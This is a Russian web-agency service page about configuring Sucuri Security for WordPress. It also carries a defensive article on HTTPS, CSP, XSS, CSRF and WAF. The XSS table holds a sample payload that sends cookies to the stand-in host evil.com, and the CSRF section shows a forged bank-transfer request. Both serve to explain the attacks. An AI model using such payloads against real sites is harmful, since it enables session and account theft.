Настройка Sucuri Security для WordPress: аудит, WAF, hardening

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Настройка Sucuri Security для WordPress: аудит, WAF, hardening
Простой
~1 день
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1364
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    959
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1191
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    933
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    950

Настройка плагина Sucuri Security для защиты WordPress-сайта

После взлома WordPress‑сайта восстановление — только половина дела. Нужно предотвратить повторную атаку. Мы настраиваем Sucuri Security для клиентов с нуля: от установки плагина до интеграции облачного WAF. Опираемся на пятилетний опыт защиты 50+ сайтов на WordPress, гарантируем, что после нашей настройки все базовые векторы атак будут закрыты. Sucuri — один из лидеров в области безопасности WordPress: по данным Sucuri, его WAF блокирует до 99% вредоносного трафика до того, как он коснётся вашего сервера. В этой статье разберём, как правильно настроить как бесплатный плагин, так и платную облачную защиту.

Sucuri предлагает два продукта: бесплатный плагин Sucuri Security (аудит, сканирование, hardening) и платный Sucuri Firewall / CDN — WAF на уровне DNS. Плагин без Sucuri Firewall — инструмент мониторинга, не защиты в реальном времени. Опыт показывает: клиенты, использующие только бесплатный плагин, часто упускают момент атаки — уведомления приходят уже после заражения. Поэтому мы рекомендуем комбинацию: плагин + WAF. Если хотите защитить сайт от взлома — свяжитесь с нами для консультации.

Бесплатный плагин: что умеет

Security Activity Auditing — логирует все административные действия: входы, изменения плагинов, обновления. Хранит лог в таблице БД и опционально отправляет в Sucuri API (защита от удаления при компрометации). File Integrity Monitoring — сравнивает файлы ядра с официальными хэшами. Обнаруживает изменённые и добавленные файлы. Remote Malware Scanning — внешнее сканирование через SiteCheck API: проверяет главную страницу на наличие вредоносного кода, blacklist-статус у Google, Bing, Norton. Security Hardening — набор одноклик-мер безопасности.

Security Hardening

В разделе Sucuri → Settings → Hardening примените следующие меры:

Мера Описание Влияние
Verify WordPress Version Напоминает обновить ядро Снижает риск эксплуатации старых уязвимостей
Remove WordPress Version Убирает версию из head и RSS Затрудняет атаки под конкретную версию
Block PHP files in uploads Создаёт .htaccess для запрета PHP Предотвращает выполнение загруженного шелл-кода
Block PHP in wp-content Аналогично, но для wp-content Защита от выполнения эксплойтов в темах/плагинах
Block PHP in wp-includes Запрет PHP в ядре Дополнительный уровень изоляции
Information Leakage Удаляет readme.html, licence.txt Скрывает информацию о среде
Подробнее о блокировке PHP

Блокировка PHP в uploads создаёт .htaccess:

<Files "*.php">
Order Allow,Deny
Deny from all
</Files>

На Nginx аналог нужно добавить вручную:

location ~* /(?:uploads|files)/.*\.php$ {
    deny all;
}

Как настроить уведомления Sucuri?

Sucuri → Settings → Alerts:

  • Email для алертов: не используйте [email protected] — при компрометации почты домена вы потеряете уведомления. Используйте внешнюю почту.
  • Alert on new user registration: ✓
  • Alert on WordPress admin login: ✓ (только для небольших сайтов)
  • Alert on failed login attempt: нет (слишком много писем)
  • Alert on plugin activated/deactivated: ✓

Post-hack Actions

При обнаружении взлома: Sucuri → Post-Hack. Раздел содержит:

  1. Update Secret Keys — сгенерировать новые ключи в wp-config.php, сбросить все сессии
  2. Reset User Password — сбросить пароли всех пользователей
  3. Reset Installed Plugins — переустановить все плагины (только из репозитория WP)
  4. Available Free WordPress Transfers — аварийный перенос сайта

Не ждите взлома — закажите проактивную настройку Sucuri уже сегодня.

Почему стоит выбрать Sucuri WAF?

Платный WAF работает иначе: DNS вашего домена указывает на серверы Sucuri, весь трафик идёт через них. Sucuri фильтрует вредоносный трафик до достижения вашего сервера. Плагин в этом случае служит для настройки и мониторинга. Для подключения: Sucuri → Firewall WAF → Add Site. Меняем NS/A-запись домена. Sucuri проксирует трафик на origin-сервер по IP (не по домену — whitelist только IP Sucuri).

Сравнение Sucuri WAF и Wordfence

Характеристика Sucuri WAF (платный) Wordfence (бесплатный)
Уровень защиты Сетевой (до сервера) PHP-уровень (на сервере)
Нагрузка на сервер Нулевая Средняя
Блокировка DDoS Аппаратная фильтрация Ограниченная
Подходит для Высоконагруженные сайты Бюджетные проекты

Для подбора оптимальной защиты свяжитесь с нами — мы поможем выбрать между Sucuri и Wordfence.

Что входит в настройку Sucuri

Мы предоставляем полный комплект работ:

  • аудит текущей конфигурации WordPress
  • установка и настройка бесплатного плагина
  • активация всех пунктов hardening
  • подключение Sucuri WAF (при необходимости)
  • настройка уведомлений на внешнюю почту
  • обучение администратора работе с плагином
  • документация по восстановлению после взлома

Сроки и стоимость

Установка и настройка бесплатного плагина Sucuri с hardening — 1–2 часа. Подключение Sucuri WAF с изменением DNS — 2–3 часа (плюс до 24 часов на распространение DNS). Стоимость рассчитывается индивидуально. Получите консультацию по настройке безопасности вашего WordPress-сайта — мы подберём оптимальное решение.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.